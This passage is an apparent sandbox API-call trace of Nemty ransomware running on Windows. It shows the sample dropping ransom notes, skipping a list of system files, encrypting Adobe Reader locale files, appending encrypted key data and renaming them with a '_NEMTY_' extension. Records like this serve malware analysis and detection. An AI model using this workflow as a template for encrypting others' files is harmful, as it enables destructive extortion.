hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.247] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0183.248] CloseHandle (hObject=0x254) returned 1 [0183.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0183.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0183.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0183.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.249] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.249] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0183.250] CloseHandle (hObject=0x254) returned 1 [0183.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.250] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20dd1b70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20dd1b70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0183.250] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0183.250] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20dd1b70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x20dd1b70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0183.250] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0183.250] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0183.251] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.SKY", cAlternateFileName="ACCESS~1.SKY")) returned 1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2=".") returned 1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="..") returned 1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="...") returned 1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="windows") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="rsa") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="NTDETECT.COM") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="ntldr") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="MSDOS.SYS") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="IO.SYS") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="boot.ini") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="boot.ini") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="AUTOEXEC.BAT") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="ntuser.dat") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="desktop.ini") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="CONFIG.SYS") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="RECYCLER") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="BOOTSECT.BAK") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="bootmgr") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="programdata") returned -1 [0183.251] lstrcmpiW (lpString1="accessibility.SKY", lpString2="appdata") returned -1 [0183.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SKY", lpUsedDefaultChar=0x0) returned 17 [0183.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0183.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SKY", lpUsedDefaultChar=0x0) returned 17 [0183.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0183.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SKY", lpUsedDefaultChar=0x0) returned 17 [0183.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0183.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0183.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SKY", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SKY", lpUsedDefaultChar=0x0) returned 17 [0183.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0183.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.252] Sleep (dwMilliseconds=0x5) [0183.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20e1de30, dwHighDateTime=0x1d561e8)) [0183.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20e1de30, dwHighDateTime=0x1d561e8)) [0183.267] GetLastError () returned 0xb7 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.267] GetLastError () returned 0xb7 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.267] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.267] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.267] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.267] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HxrnhK4yekpWYJFO1/lbMwlf2oGpL549KliICcs+cDZyWXjPPZ3k/w2yOJQbNCGR\r\n9ku4lDaX8Lu+Vl6FOxnZXbTNietRZ3jKmjpXIFcaW+930WomtnqmfU3SZycUM0hq\r\nsN+6QWnXLYfP3xi+vTIMDMBO+WE5WyPbMCUegGUCiKZlVc9y+0HouRkuHXWQcCbD\r\nERwGlLKLtaOfKAEzmvNyVn3/Y7VTpjzmqTcEWayz5WU5s+jL15JzOYjPQzcgv5RJ\r\nlwPGfUXY11vltPOH5krnod3KvyyUCw+kB4CUGmgiXCYsV9ecA2E8naNQSqICnOwq\r\nSBYCRKJ9ndfbRiIp5oqIVg==\r\n", pcchString=0x653e5dc) returned 1 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.267] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\accessibility.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.268] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=43520) returned 1 [0183.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xaa00) returned 0x6352c48 [0183.268] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.268] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xaa00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xaa00, lpOverlapped=0x0) returned 1 [0183.272] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.272] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xaa00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xaa00, lpOverlapped=0x0) returned 1 [0183.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.272] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=43520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaa00 [0183.272] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.273] CloseHandle (hObject=0x2e8) returned 1 [0183.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0183.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0183.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0183.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0183.273] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\accessibility.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\accessibility.sky._nemty_kgobjgd_")) returned 1 [0183.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.274] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.SKY", cAlternateFileName="")) returned 1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2=".") returned 1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="..") returned 1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="...") returned 1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="windows") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="rsa") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="NTDETECT.COM") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="ntldr") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="MSDOS.SYS") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="IO.SYS") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="boot.ini") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="boot.ini") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="AUTOEXEC.BAT") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="ntuser.dat") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="desktop.ini") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="CONFIG.SYS") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="RECYCLER") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="BOOTSECT.BAK") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="bootmgr") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="programdata") returned -1 [0183.274] lstrcmpiW (lpString1="Acroform.SKY", lpString2="appdata") returned -1 [0183.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SKY", lpUsedDefaultChar=0x0) returned 12 [0183.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.275] Sleep (dwMilliseconds=0x5) [0183.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20e43f90, dwHighDateTime=0x1d561e8)) [0183.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20e43f90, dwHighDateTime=0x1d561e8)) [0183.282] GetLastError () returned 0x0 [0183.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.282] GetLastError () returned 0x0 [0183.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 